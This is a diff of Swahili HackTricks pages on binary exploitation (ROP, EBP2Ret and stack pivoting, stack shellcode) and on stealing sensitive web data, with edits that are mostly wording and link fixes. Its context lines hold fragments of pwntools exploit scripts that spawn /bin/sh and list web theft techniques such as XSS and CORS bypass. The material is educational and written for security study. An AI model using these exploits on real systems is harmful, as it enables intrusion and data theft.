- `pop ebx; ret`: Inafanana na ile ya juu, lakini kwa register ya `EBX`, ikiruhusu udhibiti wa `EBX`.
 | 
			
		||||
- `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenda kwenye eneo la kumbukumbu linaloashiriwa na `EBX` na kisha inarudi. Hii mara nyingi inaitwa **write-what-where gadget**.
 | 
			
		||||
- Zaidi ya hayo, tuna anwani ya kazi ya `system()` inapatikana.
 | 
			
		||||
 | 
			
		||||
@ -37,9 +37,9 @@ Kwanza, hebu tuweke dhana kwamba tumegundua gadgets zinazohitajika ndani ya bina
 | 
			
		||||
Kwa kutumia **pwntools**, tunaandaa stack kwa ajili ya utekelezaji wa mnyororo wa ROP kama ifuatavyo tukilenga kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
 | 
			
		||||
 | 
			
		||||
1. Amri ya `ret` kwa ajili ya kusawazisha (hiari)
 | 
			
		||||
2. Anwani ya kazi ya `system` (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika [**Ret2lib**](ret2lib/))
 | 
			
		||||
2. Anwani ya kazi ya `system` (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika [**Ret2lib**](ret2lib/index.html))
 | 
			
		||||
3. Mahali pa kurudi kutoka kwa `system()`
 | 
			
		||||
4. Anwani ya string `"/bin/sh"` (hoja kwa kazi ya system)
 | 
			
		||||
4. Anwani ya string ya `"/bin/sh"` (hoja kwa kazi ya system)
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -77,13 +77,13 @@ p.interactive()
 | 
			
		||||
 | 
			
		||||
### **x64 (64-bit) Calling conventions**
 | 
			
		||||
 | 
			
		||||
- Inatumia **System V AMD64 ABI** calling convention kwenye mifumo ya Unix-like, ambapo **hoja za kwanza sita za nambari au pointer zinapitishwa kwenye register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Hoja za ziada zinapitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
 | 
			
		||||
- **Windows x64** calling convention inatumia `RCX`, `RDX`, `R8`, na `R9` kwa hoja za kwanza nne za nambari au pointer, huku hoja za ziada zikipitishwa kwenye stack. Thamani ya kurudi inawekwa katika `RAX`.
 | 
			
		||||
- Inatumia **System V AMD64 ABI** calling convention kwenye mifumo ya Unix-like, ambapo **hoja za kwanza sita za nambari au pointer zinapitishwa kwenye register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, na `R9`**. Hoja za ziada zinapitishwa kwenye stack. Thamani ya kurudi inawekwa kwenye `RAX`.
 | 
			
		||||
- **Windows x64** calling convention inatumia `RCX`, `RDX`, `R8`, na `R9` kwa hoja za kwanza nne za nambari au pointer, huku hoja za ziada zikipitishwa kwenye stack. Thamani ya kurudi inawekwa kwenye `RAX`.
 | 
			
		||||
- **Registers**: Registers za 64-bit zinajumuisha `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
 | 
			
		||||
 | 
			
		||||
#### **Finding Gadgets**
 | 
			
		||||
 | 
			
		||||
Kwa kusudi letu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register **RDI** (ili kupitisha string **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua gadgets zifuatazo:
 | 
			
		||||
Kwa kusudi letu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register **RDI** (ili kupitisha string **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumegundua gadgets zifuatazo:
 | 
			
		||||
 | 
			
		||||
- **pop rdi; ret**: Inachukua thamani ya juu ya stack na kuiweka kwenye **RDI** na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
 | 
			
		||||
- **ret**: Kurudi rahisi, muhimu kwa usawa wa stack katika hali fulani.
 | 
			
		||||
@ -129,23 +129,23 @@ p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Katika mfano huu:
 | 
			
		||||
 | 
			
		||||
- Tunatumia **`pop rdi; ret`** gadget kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
 | 
			
		||||
- Tunatumia gadget ya **`pop rdi; ret`** kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
 | 
			
		||||
- Tunaruka moja kwa moja kwenye **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
 | 
			
		||||
- **`ret_gadget`** inatumika kwa ajili ya usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
 | 
			
		||||
- **`ret_gadget`** inatumika kwa ajili ya usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika **x64** ili kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.
 | 
			
		||||
 | 
			
		||||
### Usawa wa Stack
 | 
			
		||||
 | 
			
		||||
**The x86-64 ABI** inahakikisha kwamba **stack inakuwa na usawa wa byte 16** wakati **amri ya call** inatekelezwa. **LIBC**, ili kuboresha utendaji, **inatumia SSE instructions** (kama **movaps**) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha **RSP** si mara kadhaa ya 16), kuita kazi kama **system** kutashindwa katika **ROP chain**. Ili kurekebisha hili, ongeza tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
 | 
			
		||||
**The x86-64 ABI** inahakikisha kwamba **stack inakuwa na usawa wa byte 16** wakati **amri ya call** inatekelezwa. **LIBC**, ili kuboresha utendaji, **inatumia amri za SSE** (kama **movaps**) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha **RSP** si mara kadhaa ya 16), kuita kazi kama **system** kutashindwa katika **ROP chain**. Ili kurekebisha hili, ongeza tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
 | 
			
		||||
 | 
			
		||||
## Tofauti kuu kati ya x86 na x64
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Kwa kuwa x64 inatumia register kwa ajili ya hoja chache za kwanza, mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa ajili ya kuita kazi rahisi, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na kuongezeka kwa idadi ya register na nafasi kubwa ya anwani. Kuongezeka kwa idadi ya register na nafasi kubwa ya anwani katika **x64** architecture kunatoa fursa na changamoto kwa maendeleo ya exploit, hasa katika muktadha wa Return-Oriented Programming (ROP).
 | 
			
		||||
> Kwa kuwa x64 inatumia register kwa ajili ya hoja chache za kwanza, mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa ajili ya kuita kazi rahisi, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na kuongezeka kwa idadi ya register na nafasi kubwa ya anwani. Kuongezeka kwa idadi ya register na nafasi kubwa ya anwani katika usanifu wa **x64** kunatoa fursa na changamoto kwa maendeleo ya exploit, hasa katika muktadha wa Return-Oriented Programming (ROP).
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
 | 
			
		||||
@ -153,21 +153,21 @@ Katika mfano huu:
 | 
			
		||||
 | 
			
		||||
## Mbinu za msingi za ROP
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba ROP ni mbinu tu ili kutekeleza msimbo wowote. Kulingana na ROP mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
 | 
			
		||||
Kumbuka kwamba ROP ni mbinu tu ili kutekeleza msimbo wowote. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:
 | 
			
		||||
 | 
			
		||||
- **Ret2lib**: Tumia ROP kuita kazi zisizo za kawaida kutoka maktaba iliyopakiwa na vigezo vya kawaida (kawaida kitu kama `system('/bin/sh')`.
 | 
			
		||||
- **Ret2lib**: Tumia ROP kuita kazi zisizo na mipaka kutoka kwa maktaba iliyopakiwa na vigezo vya kiholela (kawaida kitu kama `system('/bin/sh')`.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2lib/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, e.g. `execve`, na kufanya itekeleze amri zisizo za kawaida.
 | 
			
		||||
- **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, e.g. `execve`, na kufanya itekeleze amri zisizo na mipaka.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
rop-syscall-execv.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia inahitajika kudhibiti EIP).
 | 
			
		||||
- **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa kwa anwani za EBP (ingawa pia inahitajika kudhibiti EIP).
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
stack-pivoting-ebp2ret-ebp-chaining.md
 | 
			
		||||
 | 
			
		||||
@ -4,56 +4,56 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Teknolojia hii inatumia uwezo wa kubadilisha **Base Pointer (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa amri `leave; ret`.
 | 
			
		||||
Teknolojia hii inatumia uwezo wa kudhibiti **Base Pointer (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa amri `leave; ret`.
 | 
			
		||||
 | 
			
		||||
Kumbuka, **`leave`** kwa msingi inamaanisha:
 | 
			
		||||
Kumbuka, **`leave`** kimsingi inamaanisha:
 | 
			
		||||
```
 | 
			
		||||
mov               esp, ebp
 | 
			
		||||
pop               ebp
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuidhibiti kwa kudhibiti stack.
 | 
			
		||||
Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuikontrol kwa kudhibiti stack.
 | 
			
		||||
 | 
			
		||||
### EBP2Ret
 | 
			
		||||
 | 
			
		||||
Teknolojia hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
 | 
			
		||||
Tekniki hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
 | 
			
		||||
 | 
			
		||||
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus bytes 4 kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiwezesha kuashiria anwani iliyoifadhiwa na mshambuliaji humo.**\
 | 
			
		||||
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP ya uwongo** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus bytes 4 kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji humo.**\
 | 
			
		||||
Kumbuka jinsi unavyohitaji **kujua anwani 2**: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani inayotajwa na ESP.
 | 
			
		||||
 | 
			
		||||
#### Ujenzi wa Exploit
 | 
			
		||||
 | 
			
		||||
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data / anwani zisizo na mipaka**. ESP itakuwa inataja hapa na **kufanya `ret` ya kwanza**.
 | 
			
		||||
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data / anwani zisizo na mipaka**. ESP itakuwa inatazama hapa na **kufanya `ret` ya kwanza**.
 | 
			
		||||
 | 
			
		||||
Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo itafanya **kodi zisizo na mipaka**. Unaweza kutumia:
 | 
			
		||||
 | 
			
		||||
- Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 | 
			
		||||
- Anwani ya **`system()`** ikifuatiwa na **bytes 4 za takataka** na anwani ya `"/bin/sh"` (bits x86).
 | 
			
		||||
- Anwani ya **`jump esp;`** gadget ([**ret2esp**](ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekeleza.
 | 
			
		||||
- Mnyororo fulani wa [**ROP**](rop-return-oriented-programing.md).
 | 
			
		||||
- Anwani ya **`system()`** ikifuatiwa na **bytes 4 za takataka** na anwani ya `"/bin/sh"` (x86 bits).
 | 
			
		||||
- Anwani ya **gadget ya `jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekeleza.
 | 
			
		||||
- Mnyororo wa [**ROP**](rop-return-oriented-programing.md)
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba kabla ya anwani yoyote katika sehemu iliyo na udhibiti ya kumbukumbu, lazima kuwe na **bytes 4** kwa sababu ya sehemu ya **`pop`** ya amri ya `leave`. Itakuwa inawezekana kutumia hizi 4B kuweka **EBP bandia ya pili** na kuendelea kudhibiti utekelezaji.
 | 
			
		||||
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na **bytes `4`** kwa sababu ya sehemu ya **`pop`** ya amri ya `leave`. Itakuwa inawezekana kutumia hizi 4B kuweka **EBP ya pili ya uwongo** na kuendelea kudhibiti utekelezaji.
 | 
			
		||||
 | 
			
		||||
#### Off-By-One Exploit
 | 
			
		||||
 | 
			
		||||
Kuna toleo maalum la teknolojia hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha tu byte ya chini kabisa ya EBP**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu manipulasi kama hiyo kwa masharti yaliyopangwa zaidi.
 | 
			
		||||
Kuna toleo maalum la tekniki hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha tu byte ya chini kabisa ya EBP**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zenye mipaka zaidi.
 | 
			
		||||
 | 
			
		||||
### **EBP Chaining**
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kipengee cha `EBP` cha stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamasisha `ESP` kwa anwani ya EBP iliyo na udhibiti kutoka kwenye stack**.
 | 
			
		||||
Kwa hivyo, kuweka anwani iliyo na udhibiti katika kipengee cha `EBP` cha stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamasisha `ESP` kwa anwani ya `EBP` iliyo na udhibiti kutoka kwenye stack**.
 | 
			
		||||
 | 
			
		||||
Sasa, **`ESP`** inadhibitiwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
 | 
			
		||||
Sasa, **`ESP`** inakontroliwa ikielekeza kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
 | 
			
		||||
 | 
			
		||||
- **`&(next fake EBP)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwenye amri ya `leave`
 | 
			
		||||
- **`system()`** -> Inaitwa na `ret`
 | 
			
		||||
- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena
 | 
			
		||||
- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP ya uwongo na kuanza tena
 | 
			
		||||
- **`&("/bin/sh")`**-> Param fro `system`
 | 
			
		||||
 | 
			
		||||
Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
 | 
			
		||||
Kimsingi kwa njia hii inawezekana kuunganisha EBPs kadhaa za uwongo ili kudhibiti mtiririko wa programu.
 | 
			
		||||
 | 
			
		||||
Hii ni kama [ret2lib](ret2lib/), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
 | 
			
		||||
Hii ni kama [ret2lib](ret2lib/index.html), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, hapa una [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia teknolojia hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
 | 
			
		||||
Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia tekniki hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -89,7 +89,7 @@ pause()
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
## EBP ni bure
 | 
			
		||||
## EBP haina maana
 | 
			
		||||
 | 
			
		||||
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji, **EBP kamwe haipati kudhibiti ESP**, kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi.\
 | 
			
		||||
Hii ni kwa sababu **prologue na epilogue hubadilika** ikiwa binary imeboreshwa.
 | 
			
		||||
@ -116,11 +116,11 @@ add    $0x10c,%esp  # reduce stack size
 | 
			
		||||
pop    %ebx         # restore ebx
 | 
			
		||||
ret                 # return
 | 
			
		||||
```
 | 
			
		||||
## Njia nyingine za kudhibiti RSP
 | 
			
		||||
## Njia Nyingine za Kudhibiti RSP
 | 
			
		||||
 | 
			
		||||
### **`pop rsp`** gadget
 | 
			
		||||
 | 
			
		||||
[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **leak kutoka kwenye stack**:
 | 
			
		||||
[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **kuvuja kutoka kwenye stack**:
 | 
			
		||||
```python
 | 
			
		||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 | 
			
		||||
# This version has added comments
 | 
			
		||||
 | 
			
		||||
@ -24,7 +24,7 @@ printf("Returned safely\n");
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Programu hii ina udhaifu wa overflow wa buffer kutokana na matumizi ya kazi ya `gets()`.
 | 
			
		||||
Programu hii ina udhaifu wa buffer overflow kutokana na matumizi ya kazi ya `gets()`.
 | 
			
		||||
 | 
			
		||||
### Uundaji
 | 
			
		||||
 | 
			
		||||
@ -66,24 +66,24 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 | 
			
		||||
p.sendline(payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** na anwani inayotaja NOP slide, kuhakikisha shellcode inatekelezwa.
 | 
			
		||||
Hii script inajenga payload inayojumuisha **NOP slide**, **shellcode**, na kisha inabadilisha **EIP** na anwani inayotaja NOP slide, kuhakikisha kwamba shellcode inatekelezwa.
 | 
			
		||||
 | 
			
		||||
**NOP slide** (`asm('nop')`) inatumika kuongeza nafasi kwamba utekelezaji uta "slide" ndani ya shellcode yetu bila kujali anwani halisi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na offset ili kuingia kwenye NOP slide.
 | 
			
		||||
**NOP slide** (`asm('nop')`) inatumika kuongeza nafasi kwamba utekelezaji uta "slide" ndani ya shellcode yetu bila kujali anwani halisi. Badilisha hoja ya `p32()` kuwa anwani ya kuanzia ya buffer yako pamoja na offset ili kuangukia kwenye NOP slide.
 | 
			
		||||
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa sawa kila wakati na unahitaji kuvuja ili kubaini wapi kazi ya ushindi imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **inapaswa kuzuiliwa** ili anwani iwe ya kuaminika katika utekelezaji tofauti au anwani ambapo kazi itahifadhiwa haitakuwa kila wakati sawa na unahitaji kuvuja ili kubaini wapi kazi ya ushindi imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) inapaswa pia kuzuiliwa au anwani ya kurudi ya EIP iliyovunjika haitafuatiwa kamwe.
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
 | 
			
		||||
 | 
			
		||||
## Mifano Mingine & Marejeleo
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
 | 
			
		||||
- 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwake
 | 
			
		||||
- 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na kuruka kwake
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, andika shellcode na ruka kwake
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, andika shellcode na kuruka kwake
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito wa exit(), badilisha kigezo na thamani na andika shellcode na ruka kwake
 | 
			
		||||
- 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito wa exit(), badilisha kigezo na thamani na andika shellcode na kuruka kwake
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ./banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Ikiwa wakati fulani utapata **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Huenda unareflect cookies, au kuchapisha au maelezo ya kadi ya mkopo au taarifa nyingine yoyote nyeti, unaweza kujaribu kuiba.\
 | 
			
		||||
Ikiwa wakati fulani utapata **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Huenda unapata vidakuzi, au kuchapisha au maelezo ya kadi ya mkopo au taarifa nyingine yoyote nyeti, unaweza kujaribu kuiba.\
 | 
			
		||||
Hapa ninakuletea njia kuu ambazo unaweza kujaribu kuzifikia:
 | 
			
		||||
 | 
			
		||||
- [**CORS bypass**](pentesting-web/cors-bypass.md): Ikiwa unaweza kupita vichwa vya CORS utaweza kuiba taarifa kwa kufanya ombi la Ajax kwa ukurasa mbaya.
 | 
			
		||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): Ikiwa utapata udhaifu wa XSS kwenye ukurasa unaweza kuwa na uwezo wa kuutumia kuiba taarifa.
 | 
			
		||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Ikiwa huwezi kuingiza lebo za XSS bado unaweza kuiba taarifa kwa kutumia lebo nyingine za kawaida za HTML.
 | 
			
		||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Ikiwa utapata udhaifu wa XSS kwenye ukurasa unaweza kuwa na uwezo wa kuutumia kuiba taarifa.
 | 
			
		||||
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Ikiwa huwezi kuingiza lebo za XSS bado unaweza kuiba taarifa kwa kutumia lebo nyingine za kawaida za HTML.
 | 
			
		||||
- [**Clickjaking**](pentesting-web/clickjacking.md): Ikiwa hakuna ulinzi dhidi ya shambulio hili, unaweza kuwa na uwezo wa kumdanganya mtumiaji akakutumia taarifa nyeti (mfano [hapa](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 | 
			
		||||
 | 
			
		||||
{{#include ./banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -1,13 +1,13 @@
 | 
			
		||||
# Kuiba Ufunuo wa Taarifa Nyeti Kutoka kwa Tovuti
 | 
			
		||||
# Kuiba Ufunuo wa Taarifa Nyeti kutoka kwa Tovuti
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Ikiwa wakati fulani utapata **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Huenda unareflect cookies, au kuchapisha au maelezo ya kadi ya mkopo au taarifa nyingine yoyote nyeti, unaweza kujaribu kuiba.\
 | 
			
		||||
Ikiwa wakati fulani utapata **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Huenda unapata vidakuzi, au kuchapisha au maelezo ya kadi ya mkopo au taarifa nyingine yoyote nyeti, unaweza kujaribu kuiba.\
 | 
			
		||||
Hapa ninakuletea njia kuu ambazo unaweza kujaribu kuzifikia:
 | 
			
		||||
 | 
			
		||||
- [**CORS bypass**](../pentesting-web/cors-bypass.md): Ikiwa unaweza kupita vichwa vya CORS utaweza kuiba taarifa kwa kufanya ombi la Ajax kwa ukurasa mbaya.
 | 
			
		||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Ikiwa utapata udhaifu wa XSS kwenye ukurasa unaweza kuwa na uwezo wa kuutumia kuiba taarifa.
 | 
			
		||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Ikiwa huwezi kuingiza lebo za XSS bado unaweza kuiba taarifa ukitumia lebo nyingine za kawaida za HTML.
 | 
			
		||||
- [**Clickjaking**](../pentesting-web/clickjacking.md): Ikiwa hakuna ulinzi dhidi ya shambulio hili, unaweza kuwa na uwezo wa kumdanganya mtumiaji akakutumia taarifa nyeti (mfano [hapa](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 | 
			
		||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Ikiwa utapata udhaifu wa XSS kwenye ukurasa unaweza kuwa na uwezo wa kuutumia kuiba taarifa.
 | 
			
		||||
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Ikiwa huwezi kuingiza lebo za XSS bado unaweza kuiba taarifa kwa kutumia lebo nyingine za kawaida za HTML.
 | 
			
		||||
